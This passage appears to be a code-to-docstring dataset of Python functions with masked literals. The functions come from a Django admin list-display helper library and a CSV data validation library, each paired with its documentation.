     @admin.register(Book)\n        class BookAdmin(admin.ModelAdmin, mixin):\n            list_display = ('name', 'show_author')\n\n\n    A sample django admin page for \"Book\" would have the table:\n\n    +---------------------------------+------------------------+\n    | Name                            | Our Authors            |\n    +=================================+========================+\n    | Hitchhikers Guide To The Galaxy | *Douglas Adams (id=1)* |\n    +---------------------------------+------------------------+\n    | War and Peace                   | *Tolstoy (id=2)*       |\n    +---------------------------------+------------------------+\n    | Dirk Gently                     | *Douglas Adams (id=1)* |\n    +---------------------------------+------------------------+\n\n\n    Each of the *items* in the \"Our Authors\" column would be a link to the\n    django admin change list for the \"Author\" object with a filter set to show\n    just the object that was clicked.  For example, if you clicked \"Douglas\n    Adams (id=1)\" you would be taken to the Author change list page filtered\n    just for Douglas Adams books.\n\n    The ``add_obj_ref`` method is similar to the above, but instead of showing\n    links, it just shows text and so can be used for view-only attributes of\n    dereferenced objects.", "id": "f9998:m3"}
{"signature": "def fancy_modeladmin(*args):", "body": "global klass_count<EOL>klass_count += <NUM_LIT:1><EOL>name = '<STR_LIT>' % klass_count<EOL>klass = type(name, (FancyModelAdmin,), {})<EOL>klass.list_display = []<EOL>if len(args) > <NUM_LIT:0>:<EOL><INDENT>klass.add_displays(*args)<EOL><DEDENT>return klass<EOL>", "docstring": "Returns a new copy of a :class:`FancyModelAdmin` class (a class, not\n    an instance!). This can then be inherited from when declaring a model\n    admin class. The :class:`FancyModelAdmin` class has additional methods\n    for managing the ``list_display`` attribute.\n\n    :param ``*args``: [optional] any arguments given will be added to the\n        ``list_display`` property using regular django ``list_display``\n        functionality.\n\n    This function is meant as a replacement for :func:`make_admin_obj_mixin`,\n    it does everything the old one does with fewer bookkeeping needs for the\n    user as well as adding functionality.\n\n    Example usage:\n\n    .. code-block:: python\n\n        # ---- models.py file ----\n        class Author(models.Model):\n            name = models.CharField(max_length=100)\n\n\n        class Book(models.Model):\n            title = models.CharField(max_length=100)\n            author = models.ForeignKey(Author, on_delete=models.CASCADE)\n\n\n    .. code-block:: python\n\n        # ---- admin.py file ----\n        @admin.register(Author)\n        class Author(admin.ModelAdmin):\n            list_display = ('name', )\n\n\n        base = fany_list_display_modeladmin()\n        base.add_displays('id', 'name')\n        base.add_obj_link('author', 'Our Authors',\n            '{{obj.name}} (id={{obj.id}})')\n\n        @admin.register(Book)\n        class BookAdmin(base):\n            list_display = ('name', 'show_author')\n\n\n    A sample django admin page for \"Book\" would have the table:\n\n    +----+---------------------------------+------------------------+\n    | ID | Name                            | Our Authors            |\n    +====+=================================+========================+\n    |  1 | Hitchhikers Guide To The Galaxy | *Douglas Adams (id=1)* |\n    +----+---------------------------------+------------------------+\n    |  2 | War and Peace                   | *Tolstoy (id=2)*       |\n    +----+---------------------------------+------------------------+\n    |  3 | Dirk Gently                     | *Douglas Adams (id=1)* |\n    +----+---------------------------------+------------------------+\n\n\n    See :class:`FancyModelAdmin` for a full list of functionality\n    provided by the returned base class.", "id": "f9998:m4"}
{"signature": "@classmethod<EOL><INDENT>def add_displays(cls, *args):<DEDENT>", "body": "for arg in args:<EOL><INDENT>cls.list_display.append(arg)<EOL><DEDENT>", "docstring": "Each arg is added to the ``list_display`` property without any\n        extra wrappers, using only the regular django functionality", "id": "f9998:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def add_display(cls, attr, title='<STR_LIT>'):<DEDENT>", "body": "global klass_count<EOL>klass_count += <NUM_LIT:1><EOL>fn_name = '<STR_LIT>' % klass_count<EOL>cls.list_display.append(fn_name)<EOL>if not title:<EOL><INDENT>title = attr.capitalize()<EOL><DEDENT>def _ref(self, obj):<EOL><INDENT>_, _, value = lookup_field(attr, obj, cls)<EOL>return value<EOL><DEDENT>_ref.short_description = title<EOL>_ref.allow_tags = True<EOL>_ref.admin_order_field = attr<EOL>setattr(cls, fn_name, _ref)<EOL>", "docstring": "Adds a ``list_display`` property without any extra wrappers,\n        similar to :func:`add_displays`, but can also change the title.\n\n        :param attr:\n            Name of the attribute to add to the display\n\n        :param title:\n            Title for the column of the django admin table.  If not given it\n            defaults to a capitalized version of ``attr``", "id": "f9998:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def add_link(cls, attr, title='<STR_LIT>', display='<STR_LIT>'):<DEDENT>", "body": "global klass_count<EOL>klass_count += <NUM_LIT:1><EOL>fn_name = '<STR_LIT>' % klass_count<EOL>cls.list_display.append(fn_name)<EOL>if not title:<EOL><INDENT>title = attr.capitalize()<EOL><DEDENT>_display = display<EOL>def _link(self, obj):<EOL><INDENT>field_obj = admin_obj_attr(obj, attr)<EOL>if not field_obj:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>text = _obj_display(field_obj, _display)<EOL>return admin_obj_link(field_obj, text)<EOL><DEDENT>_link.short_description = title<EOL>_link.allow_tags = True<EOL>_link.admin_order_field = attr<EOL>setattr(cls, fn_name, _link)<EOL>", "docstring": "Adds a ``list_display`` attribute that appears as a link to the\n        django admin change page for the type of object being shown. Supports\n        double underscore attribute name dereferencing.\n\n        :param attr:\n            Name of the attribute to dereference from the corresponding\n            object, i.e. what will be lined to.  This name supports double\n            underscore object link referencing for ``models.ForeignKey``\n            members.\n\n        :param title:\n            Title for the column of the django admin table.  If not given it\n            defaults to a capitalized version of ``attr``\n\n        :param display:\n            What to display as the text for the link being shown.  If not\n            given it defaults to the string representation of the object for\n            the row: ``str(obj)`` .  This parameter supports django\n            templating, the context for which contains a dictionary key named\n            \"obj\" with the value being the object for the row.\n\n        Example usage:\n\n        .. code-block:: python\n\n            # ---- admin.py file ----\n\n            base = fancy_modeladmin('id')\n            base.add_link('author', 'Our Authors',\n                '{{obj.name}} (id={{obj.id}})')\n\n            @admin.register(Book)\n            class BookAdmin(base):\n                pass\n\n        The django admin change page for the Book class would have a column\n        for \"id\" and another titled \"Our Authors\". The \"Our Authors\" column\n        would have a link for each Author object referenced by \"book.author\".\n        The link would go to the Author django admin change listing. The\n        display of the link would be the name of the author with the id in\n        brakcets, e.g. \"Douglas Adams (id=42)\"", "id": "f9998:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def add_object(cls, attr, title='<STR_LIT>', display='<STR_LIT>'):<DEDENT>", "body": "global klass_count<EOL>klass_count += <NUM_LIT:1><EOL>fn_name = '<STR_LIT>' % klass_count<EOL>cls.list_display.append(fn_name)<EOL>if not title:<EOL><INDENT>title = attr.capitalize()<EOL><DEDENT>_display = display<EOL>def _ref(self, obj):<EOL><INDENT>field_obj = admin_obj_attr(obj, attr)<EOL>if not field_obj:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return _obj_display(field_obj, _display)<EOL><DEDENT>_ref.short_description = title<EOL>_ref.allow_tags = True<EOL>_ref.admin_order_field = attr<EOL>setattr(cls, fn_name, _ref)<EOL>", "docstring": "Adds a ``list_display`` attribute showing an object.  Supports\n        double underscore attribute name dereferencing.\n\n        :param attr:\n            Name of the attribute to dereference from the corresponding\n            object, i.e. what will be lined to.  This name supports double\n            underscore object link referencing for ``models.ForeignKey``\n            members.\n\n        :param title:\n            Title for the column of the django admin table.  If not given it\n            defaults to a capitalized version of ``attr``\n\n        :param display:\n            What to display as the text for the link being shown.  If not\n            given it defaults to the string representation of the object for\n            the row: ``str(obj)``.  This parameter supports django templating,\n            the context for which contains a dictionary key named \"obj\" with\n            the value being the object for the row.", "id": "f9998:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def add_formatted_field(cls, field, format_string, title='<STR_LIT>'):<DEDENT>", "body": "global klass_count<EOL>klass_count += <NUM_LIT:1><EOL>fn_name = '<STR_LIT>' % klass_count<EOL>cls.list_display.append(fn_name)<EOL>if not title:<EOL><INDENT>title = field.capitalize()<EOL><DEDENT>_format_string = format_string<EOL>def _ref(self, obj):<EOL><INDENT>return _format_string % getattr(obj, field)<EOL><DEDENT>_ref.short_description = title<EOL>_ref.allow_tags = True<EOL>_ref.admin_order_field = field<EOL>setattr(cls, fn_name, _ref)<EOL>", "docstring": "Adds a ``list_display`` attribute showing a field in the object\n        using a python %formatted string.\n\n        :param field:\n            Name of the field in the object.\n\n        :param format_string:\n            A old-style (to remain python 2.x compatible) % string formatter\n            with a single variable reference. The named ``field`` attribute\n            will be passed to the formatter using the \"%\" operator. \n\n        :param title:\n            Title for the column of the django admin table.  If not given it\n            defaults to a capitalized version of ``field``", "id": "f9998:c0:m4"}
{"signature": "def create_validator():", "body": "field_names = (<EOL>'<STR_LIT>', <EOL>'<STR_LIT>', <EOL>'<STR_LIT>', <EOL>'<STR_LIT>', <EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>validator = CSVValidator(field_names)<EOL>validator.add_header_check('<STR_LIT>', '<STR_LIT>')<EOL>validator.add_record_length_check('<STR_LIT>', '<STR_LIT>')<EOL>validator.add_value_check('<STR_LIT>', int, <EOL>'<STR_LIT>', '<STR_LIT>')<EOL>validator.add_value_check('<STR_LIT>', int, <EOL>'<STR_LIT>', '<STR_LIT>')<EOL>validator.add_value_check('<STR_LIT>', enumeration('<STR_LIT:M>', '<STR_LIT:F>'), <EOL>'<STR_LIT>', '<STR_LIT>')<EOL>validator.add_value_check('<STR_LIT>', number_range_inclusive(<NUM_LIT:0>, <NUM_LIT>, int), <EOL>'<STR_LIT>', '<STR_LIT>')<EOL>validator.add_value_check('<STR_LIT>', datetime_string('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>def check_age_variables(r):<EOL><INDENT>age_years = int(r['<STR_LIT>'])<EOL>age_months = int(r['<STR_LIT>'])<EOL>valid = (age_months >= age_years * <NUM_LIT:12> and <EOL>age_months % age_years < <NUM_LIT:12>)<EOL>if not valid:<EOL><INDENT>raise RecordError('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>validator.add_record_check(check_age_variables)<EOL>return validator<EOL>", "docstring": "Create an example CSV validator for patient demographic data.", "id": "f10011:m0"}
{"signature": "def main():", "body": "<EOL>description = '<STR_LIT>'<EOL>parser = argparse.ArgumentParser(description=description)<EOL>parser.add_argument('<STR_LIT:file>', <EOL>metavar='<STR_LIT>', <EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>type=int,<EOL>action='<STR_LIT:store>',<EOL>default=<NUM_LIT:0>,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False,<EOL>help='<STR_LIT>'<EOL>)<EOL>args = parser.parse_args()<EOL>if not os.path.isfile(args.file):<EOL><INDENT>print('<STR_LIT>' % args.file)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>with open(args.file, '<STR_LIT:r>') as f:<EOL><INDENT>data = csv.reader(f, delimiter='<STR_LIT:\\t>')<EOL>validator = create_validator()<EOL>problems = validator.validate(data, <EOL>summarize=args.summarize,<EOL>report_unexpected_exceptions=args.report_unexpected_exceptions,<EOL>context={'<STR_LIT:file>': args.file})<EOL>write_problems(problems, sys.stdout, <EOL>summarize=args.summarize, <EOL>limit=args.limit)<EOL>if problems: <EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>", "docstring": "Main function.", "id": "f10011:m1"}
{"signature": "def enumeration(*args):", "body": "assert len(args) > <NUM_LIT:0>, '<STR_LIT>'<EOL>if len(args) == <NUM_LIT:1>:<EOL><INDENT>members = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>members = args<EOL><DEDENT>def checker(value):<EOL><INDENT>if value not in members:<EOL><INDENT>raise ValueError(value)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a value error if the value is not\nin a pre-defined enumeration of values.\n\nIf you pass in a list, tuple or set as the single argument, it is assumed\nthat the list/tuple/set defines the membership of the enumeration.\n\nIf you pass in more than on argument, it is assumed the arguments themselves\ndefine the enumeration.", "id": "f10012:m0"}
{"signature": "def match_pattern(regex):", "body": "prog = re.compile(regex)<EOL>def checker(v):<EOL><INDENT>result = prog.match(v)<EOL>if result is None:<EOL><INDENT>raise ValueError(v)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the value does\nnot match the supplied regular expression, see also `re.match`.", "id": "f10012:m1"}
{"signature": "def search_pattern(regex):", "body": "prog = re.compile(regex)<EOL>def checker(v):<EOL><INDENT>result = prog.search(v)<EOL>if result is None:<EOL><INDENT>raise ValueError(v)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the supplied\nregular expression does not match anywhere in the value, see also\n`re.search`.", "id": "f10012:m2"}
{"signature": "def number_range_inclusive(min, max, type=float):", "body": "def checker(v):<EOL><INDENT>if type(v) < min or type(v) > max:<EOL><INDENT>raise ValueError(v)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the supplied\nvalue when cast as `type` is less than `min` or greater than `max`.", "id": "f10012:m3"}
{"signature": "def number_range_exclusive(min, max, type=float):", "body": "def checker(v):<EOL><INDENT>if type(v) <= min or type(v) >= max:<EOL><INDENT>raise ValueError(v)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the supplied\nvalue when cast as `type` is less than or equal to `min` or greater than\nor equal to `max`.", "id": "f10012:m4"}
{"signature": "def datetime_string(format):", "body": "def checker(v):<EOL><INDENT>datetime.strptime(v, format)<EOL><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the supplied\nvalue cannot be converted to a datetime using the supplied format string.\n\nSee also `datetime.strptime`.", "id": "f10012:m5"}
{"signature": "def datetime_range_inclusive(min, max, format):", "body": "dmin = datetime.strptime(min, format)<EOL>dmax = datetime.strptime(max, format)<EOL>def checker(v):<EOL><INDENT>dv = datetime.strptime(v, format)<EOL>if dv < dmin or dv > dmax:<EOL><INDENT>raise ValueError(v)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the supplied\nvalue when converted to a datetime using the supplied `format` string is\nless than `min` or greater than `max`.", "id": "f10012:m6"}
{"signature": "def datetime_range_exclusive(min, max, format):", "body": "dmin = datetime.strptime(min, format)<EOL>dmax = datetime.strptime(max, format)<EOL>def checker(v):<EOL><INDENT>dv = datetime.strptime(v, format)<EOL>if dv <= dmin or dv >= dmax:<EOL><INDENT>raise ValueError(v)<EOL><DEDENT><DEDENT>return checker<EOL>", "docstring": "Return a value check function which raises a ValueError if the supplied\nvalue when converted to a datetime using the supplied `format` string is\nless than or equal to `min` or greater than or equal to `max`.", "id": "f10012:m7"}
{"signature": "def write_problems(problems, file, summarize=False, limit=<NUM_LIT:0>):", "body": "w = file.write <EOL>w(\"\"\"<STR_LIT>\"\"\"<EOL>lems<EOL>====<EOL>total += <NUM_LIT:1><EOL>code = p['<STR_LIT:code>']<EOL>if code in counts:<EOL>counts[code] += <NUM_LIT:1><EOL>else:<EOL>counts[code] = <NUM_LIT:1><EOL>if not summarize:<EOL>ptitle = '<STR_LIT>' % (p['<STR_LIT:code>'], p['<STR_LIT:message>'])<EOL>w(ptitle)<EOL>underline = '<STR_LIT>'<EOL>for i in range(len(ptitle.strip())):<EOL>underline += '<STR_LIT:->'<EOL>underline += '<STR_LIT:\\n>'<EOL>w(underline)<EOL>for k in sorted(p.viewkeys() - set(['<STR_LIT:code>', '<STR_LIT:message>', '<STR_LIT>'])):<EOL>w('<STR_LIT>' % (k, p[k]))<EOL>if '<STR_LIT>' in p:<EOL>c = p['<STR_LIT>']<EOL>for k in sorted(c.viewkeys()):<EOL>w('<STR_LIT>' % (k, c[k]))<EOL>w(", "docstring": "Write problems as restructured text to a file (or stdout/stderr).", "id": "f10012:m8"}
{"signature": "def __init__(self, field_names):", "body": "self._field_names = tuple(field_names)<EOL>self._value_checks = []<EOL>self._header_checks = []<EOL>self._record_length_checks = []<EOL>self._value_predicates = []<EOL>self._record_checks = []<EOL>self._record_predicates = []<EOL>self._unique_checks = []<EOL>self._skips = []<EOL>", "docstring": "Instantiate a `CSVValidator`, supplying expected `field_names` as a\nsequence of strings.", "id": "f10012:c1:m0"}
{"signature": "def add_header_check(self,<EOL>code=HEADER_CHECK_FAILED,<EOL>message=MESSAGES[HEADER_CHECK_FAILED]):", "body": "t = code, message<EOL>self._header_checks.append(t)<EOL>", "docstring": "Add a header check, i.e., check whether the header record is consistent\nwith the expected field names.\n\nArguments\n---------\n\n`code` - problem code to report if the header record is not valid,\ndefaults to `HEADER_CHECK_FAILED`\n\n`message` - problem message to report if a value is not valid", "id": "f10012:c1:m1"}
{"signature": "def add_record_length_check(self,<EOL>code=RECORD_LENGTH_CHECK_FAILED,<EOL>message=MESSAGES[RECORD_LENGTH_CHECK_FAILED],<EOL>modulus=<NUM_LIT:1>):", "body": "t = code, message, modulus<EOL>self._record_length_checks.append(t)<EOL>", "docstring": "Add a record length check, i.e., check whether the length of a record is\nconsistent with the number of expected fields.\n\nArguments\n---------\n\n`code` - problem code to report if a record is not valid, defaults to\n`RECORD_LENGTH_CHECK_FAILED`\n\n`message` - problem message to report if a record is not valid\n\n`modulus` - apply the check to every nth record, defaults to 1 (check\nevery record)", "id": "f10012:c1:m2"}
{"signature": "def add_value_check(self, field_name, value_check,<EOL>code=VALUE_CHECK_FAILED,<EOL>message=MESSAGES[VALUE_CHECK_FAILED],<EOL>modulus=<NUM_LIT:1>):", "body": "<EOL>assert field_name in self._field_names, '<STR_LIT>' % field_name<EOL>assert callable(value_check), '<STR_LIT>'<EOL>t = field_name, value_check, code, message, modulus<EOL>self._value_checks.append(t)<EOL>", "docstring": "Add a value check function for the specified field.\n\nArguments\n---------\n\n`field_name` - the name of the field to attach the value check function\nto\n\n`value_check` - a function that accepts a single argument (a value) and\nraises a `ValueError` if the value is not valid\n\n`code` - problem code to report if a value is not valid, defaults to\n`VALUE_CHECK_FAILED`\n\n`message` - problem message to report if a value is not valid\n\n`modulus` - apply the check to every nth record, defaults to 1 (check\nevery record)", "id": "f10012:c1:m3"}
{"signature": "def add_value_predicate(self, field_name, value_predicate,<EOL>code=VALUE_PREDICATE_FALSE,<EOL>message=MESSAGES[VALUE_PREDICATE_FALSE],<EOL>modulus=<NUM_LIT:1>):", "body": "assert field_name in self._field_names, '<STR_LIT>' % field_name<EOL>assert callable(value_predicate), '<STR_LIT>'<EOL>t = field_name, value_predicate, code, message, modulus<EOL>self._value_predicates.append(t)<EOL>", "docstring": "Add a value predicate function for the specified field.\n\nN.B., everything you can do with value predicates can also be done with\nvalue check functions, whether you use one or the other is a matter of\nstyle.\n\nArguments\n---------\n\n`field_name` - the name of the field to attach the value predicate\nfunction to\n\n`value_predicate` - a function that accepts a single argument (a value)\nand returns False if the value is not valid\n\n`code` - problem code to report if a value is not valid, defaults to\n`VALUE_PREDICATE_FALSE`\n\n`message` - problem message to report if a value is not valid\n\n`modulus` - apply the check to every nth record, defaults to 1 (check\nevery record)", "id": "f10012:c1:m4"}
{"signature": "def add_record_check(self, record_check, modulus=<NUM_LIT:1>):", "body": "assert callable(record_check), '<STR_LIT>'<EOL>t = record_check, modulus<EOL>self._record_checks.append(t)<EOL>", "docstring": "Add a record check function.\n\nArguments\n---------\n\n`record_check` - a function that accepts a single argument (a record as\na dictionary of values indexed by field name) and raises a\n`RecordError` if the record is not valid\n\n`modulus` - apply the check to every nth record, defaults to 1 (check\nevery record)", "id": "f10012:c1:m5"}
{"signature": "def add_record_predicate(self, record_predicate,<EOL>code=RECORD_PREDICATE_FALSE,<EOL>message=MESSAGES[RECORD_PREDICATE_FALSE],<EOL>modulus=<NUM_LIT:1>):", "body": "assert callable(record_predicate), '<STR_LIT>'<EOL>t = record_predicate, code, message, modulus<EOL>self._record_predicates.append(t)<EOL>", "docstring": "Add a record predicate function.\n\nN.B., everything you can do with record predicates can also be done with\nrecord check functions, whether you use one or the other is a matter of\nstyle.\n\nArguments\n---------\n\n`record_predicate` - a function that accepts a single argument (a record\nas a dictionary of values indexed by field name) and returns False if\nthe value is not valid\n\n`code` - problem code to report if a record is not valid, defaults to\n`RECORD_PREDICATE_FALSE`\n\n`message` - problem message to report if a record is not valid\n\n`modulus` - apply the check to every nth record, defaults to 1 (check\nevery record)", "id": "f10012:c1:m6"}
{"signature": "def add_unique_check(self, key,<EOL>code=UNIQUE_CHECK_FAILED,<EOL>message=MESSAGES[UNIQUE_CHECK_FAILED]):", "body": "if isinstance(key, basestring):<EOL><INDENT>assert key in self._field_names, '<STR_LIT>' % key<EOL><DEDENT>else:<EOL><INDENT>for f in key:<EOL><INDENT>assert f in self._field_names, '<STR_LIT>' % key<EOL><DEDENT><DEDENT>t = key, code, message<EOL>self._unique_checks.append(t)<EOL>", "docstring": "Add a unique check on a single column or combination of columns.\n\nArguments\n---------\n\n`key` - a single field name (string) specifying a field in which all\nvalues are expected to be unique, or a sequence of field names (tuple\nor list of strings) specifying a compound key\n\n`code` - problem code to report if a record is not valid, defaults to\n`UNIQUE_CHECK_FAILED`\n\n`message` - problem message to report if a record is not valid", "id": "f10012:c1:m7"}
{"signature": "def add_skip(self, skip):", "body": "assert callable(skip), '<STR_LIT>'<EOL>self._skips.append(skip)<EOL>", "docstring": "Add a `skip` function which accepts a single argument (a record as a\nsequence of values) and returns True if all checks on the record should\nbe skipped.", "id": "f10012:c1:m8"}
{"signature": "def validate(self, data,<EOL>expect_header_row=True,<EOL>ignore_lines=<NUM_LIT:0>,<EOL>summarize=False,<EOL>limit=<NUM_LIT:0>,<EOL>context=None,<EOL>report_unexpected_exceptions=True):", "body": "problems = list()<EOL>problem_generator = self.ivalidate(data, expect_header_row,<EOL>ignore_lines, summarize, context,<EOL>report_unexpected_exceptions)<EOL>for i, p in enumerate(problem_generator):<EOL><INDENT>if not limit or i < limit:<EOL><INDENT>problems.append(p)<EOL><DEDENT><DEDENT>return problems<EOL>", "docstring": "Validate `data` and return a list of validation problems found.\n\nArguments\n---------\n\n`data` - any source of row-oriented data, e.g., as provided by a\n`csv.reader`, or a list of lists of strings, or ...\n\n`expect_header_row` - does the data contain a header row (i.e., the\nfirst record is a list of field names)? Defaults to True.\n\n`ignore_lines` - ignore n lines (rows) at the beginning of the data\n\n`summarize` - only report problem codes, no other details\n\n`limit` - report at most n problems\n\n`context` - a dictionary of any additional information to be added to\nany problems found - useful if problems are being aggregated from\nmultiple validators\n\n`report_unexpected_exceptions` - value check function, value predicates,\nrecord check functions, record predicates, and other user-supplied\nvalidation functions may raise unexpected exceptions. If this argument\nis true, any unexpected exceptions will be reported as validation\nproblems; if False, unexpected exceptions will be handled silently.", "id": "f10012:c1:m9"}
{"signature": "def ivalidate(self, data,<EOL>expect_header_row=True,<EOL>ignore_lines=<NUM_LIT:0>,<EOL>summarize=False,<EOL>context=None,<EOL>report_unexpected_exceptions=True):", "body": "unique_sets = self._init_unique_sets() <EOL>for i, r in enumerate(data):<EOL><INDENT>if expect_header_row and i == ignore_lines:<EOL><INDENT>for p in self._apply_header_checks(i, r, summarize, context):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT>elif i >= ignore_lines:<EOL><INDENT>skip = False<EOL>for p in self._apply_skips(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>if p is True:<EOL><INDENT>skip = True<EOL><DEDENT>else:<EOL><INDENT>yield p<EOL><DEDENT><DEDENT>if not skip:<EOL><INDENT>for p in self._apply_each_methods(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p <EOL><DEDENT>for p in self._apply_value_checks(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_record_length_checks(i, r, summarize,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_value_predicates(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_record_checks(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_record_predicates(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_unique_checks(i, r, unique_sets, summarize):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_check_methods(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>for p in self._apply_assert_methods(i, r, summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for p in self._apply_finally_assert_methods(summarize,<EOL>report_unexpected_exceptions,<EOL>context):<EOL><INDENT>yield p<EOL><DEDENT>", "docstring": "Validate `data` and return a iterator over problems found.\n\nUse this function rather than validate() if you expect a large number\nof problems.\n\nArguments\n---------\n\n`data` - any source of row-oriented data, e.g., as provided by a\n`csv.reader`, or a list of lists of strings, or ...\n\n`expect_header_row` - does the data contain a header row (i.e., the\nfirst record is a list of field names)? Defaults to True.\n\n`ignore_lines` - ignore n lines (rows) at the beginning of the data\n\n`summarize` - only report problem codes, no other details\n\n`context` - a dictionary of any additional information to be added to\nany problems found - useful if problems are being aggregated from\nmultiple validators\n\n`report_unexpected_exceptions` - value check function, value predicates,\nrecord check functions, record predicates, and other user-supplied\nvalidation functions may raise unexpected exceptions. If this argument\nis true, any unexpected exceptions will be reported as validation\nproblems; if False, unexpected exceptions will be handled silently.", "id": "f10012:c1:m10"}
{"signature": "def _init_unique_sets(self):", "body": "ks = dict()<EOL>for t in self._unique_checks:<EOL><INDENT>key = t[<NUM_LIT:0>]<EOL>ks[key] = set() <EOL><DEDENT>return ks<EOL>", "docstring": "Initialise sets used for uniqueness checking.", "id": "f10012:c1:m11"}
{"signature": "def _apply_value_checks(self, i, r,<EOL>summarize=False,<EOL>report_unexpected_exceptions=True,<EOL>context=None):", "body": "for field_name, check, code, message, modulus in self._value_checks:<EOL><INDENT>if i % modulus == <NUM_LIT:0>: <EOL><INDENT>fi = self._field_names.index(field_name)<EOL>if fi < len(r): <EOL><INDENT>value = r[fi]<EOL>try:<EOL><INDENT>check(value)<EOL><DEDENT>except ValueError:<EOL><INDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = fi + <NUM_LIT:1><EOL>p['<STR_LIT>'] = field_name<EOL>p['<STR_LIT:value>'] = value<EOL>p['<STR_LIT>'] = r<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT>except Exception as e:<EOL><INDENT>if report_unexpected_exceptions:<EOL><INDENT>p = {'<STR_LIT:code>': UNEXPECTED_EXCEPTION}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = MESSAGES[UNEXPECTED_EXCEPTION] % (e.__class__.__name__, e)<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = fi + <NUM_LIT:1><EOL>p['<STR_LIT>'] = field_name<EOL>p['<STR_LIT:value>'] = value<EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = e<EOL>p['<STR_LIT>'] = '<STR_LIT>' % (check.__name__,<EOL>check.__doc__)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Apply value check functions on the given record `r`.", "id": "f10012:c1:m12"}
{"signature": "def _apply_header_checks(self, i, r, summarize=False, context=None):", "body": "for code, message in self._header_checks:<EOL><INDENT>if tuple(r) != self._field_names:<EOL><INDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = tuple(r)<EOL>p['<STR_LIT>'] = set(self._field_names) - set(r)<EOL>p['<STR_LIT>'] = set(r) - set(self._field_names)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT>", "docstring": "Apply header checks on the given record `r`.", "id": "f10012:c1:m13"}
{"signature": "def _apply_record_length_checks(self, i, r, summarize=False, context=None):", "body": "for code, message, modulus in self._record_length_checks:<EOL><INDENT>if i % modulus == <NUM_LIT:0>: <EOL><INDENT>if len(r) != len(self._field_names):<EOL><INDENT>p = {'<STR_LIT:code>': code}<EOL>if not summarize:<EOL><INDENT>p['<STR_LIT:message>'] = message<EOL>p['<STR_LIT>'] = i + <NUM_LIT:1><EOL>p['<STR_LIT>'] = r<EOL>p['<STR_LIT>'] = len(r)<EOL>if context is not None: p['<STR_LIT>'] = context<EOL><DEDENT>yield p<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Apply record length checks on the given record `r`.", "id": "f10012:c1:m14"}
